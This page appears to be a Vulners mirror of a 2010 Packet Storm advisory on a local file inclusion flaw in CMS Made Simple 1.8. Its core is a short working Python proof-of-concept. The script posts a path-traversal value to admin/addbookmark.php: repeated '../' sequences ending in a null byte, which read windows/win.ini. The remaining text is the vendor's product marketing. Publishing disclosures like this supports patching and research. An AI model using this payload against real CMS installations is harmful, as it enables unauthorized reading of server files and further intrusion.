Lucene search
+L

CMS Made Simple 1.8 Local File Inclusion

🗓️ 13 Jul 2010 00:00:00Reported by AutoSec ToolsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

CMS Made Simple 1.8 Local File Inclusion vulnerability description and exploi

Code
`# ------------------------------------------------------------------------   
# Software................CMS Made Simple 1.8   
# Vulnerability...........Local File Inclusion   
# Download................http://www.cmsmadesimple.org/   
# Release Date............7/11/2010   
# Tested On...............Windows Vista + XAMPP   
# ------------------------------------------------------------------------   
# Author..................John Leitch   
# Site....................http://cross-site-scripting.blogspot.com/   
# [email protected]   
# ------------------------------------------------------------------------   
#   
# --Description--  
#   
# A local file inclusion vulnerability in CMS Made Simple 1.8 can be  
# exploited to include arbitrary files.  
#   
#   
# --PoC--  
import httplib, urllib  
  
host = 'localhost'  
path = '/cmsms'  
  
lfi = '../' * 32 + 'windows/win.ini\x00'  
  
c = httplib.HTTPConnection(host)  
c.request('POST', path + '/admin/addbookmark.php',  
urllib.urlencode({ 'default_cms_lang': lfi }),  
{ 'Content-type': 'application/x-www-form-urlencoded' })  
r = c.getresponse()  
  
print r.status, r.reason  
print r.read()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation